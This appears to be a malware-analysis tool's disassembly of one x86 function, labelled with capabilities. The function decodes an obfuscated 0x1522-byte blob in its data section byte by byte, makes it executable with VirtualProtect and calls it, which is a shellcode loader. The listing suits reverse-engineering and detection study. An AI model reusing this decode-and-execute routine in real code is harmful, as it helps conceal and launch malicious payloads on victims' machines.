Function at 0x10007cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 0xbebc200
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10007fee
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0xde
mov dword [esp + 8], 0xbebc200
call sub.MSVCRT.dll_memset
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0x1522
jae 0x10007fbd
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + section..data]
mov byte [ebp - 0x19], dl
movzx ecx, byte [ebp - 0x19]
mov ebx, eax
sub ebx, ecx
mov byte [ebp - 0x19], bl
movzx ecx, byte [ebp - 0x19]
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0xfb
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xef
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0x7f
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0xc8
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0x5b
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 7
movzx edi, byte [ebp - 0x19]
shl edi, 1
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0x56
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 5
movzx edi, byte [ebp - 0x19]
shl edi, 3
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0x7e
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0xba
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0x66
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 3
movzx edi, byte [ebp - 0x19]
shl edi, 5
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0x67
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xfb
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
add ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
xor ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0xc8
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
xor ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 2
movzx edi, byte [ebp - 0x19]
shl edi, 6
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0xa6
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 3
movzx edi, byte [ebp - 0x19]
shl edi, 5
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0xfd
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
add ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xb3
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0xaf
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xdd
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sub eax, esi
mov byte [ebp - 0x19], al
mov al, byte [ebp - 0x19]
mov esi, dword [ebp - 0x18]
mov byte [esi + section..data], al
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x10007d58
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x1522
mov dword [esp + 8], 0x40
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [ebp - 0x20], eax
call section..data
xor eax, eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret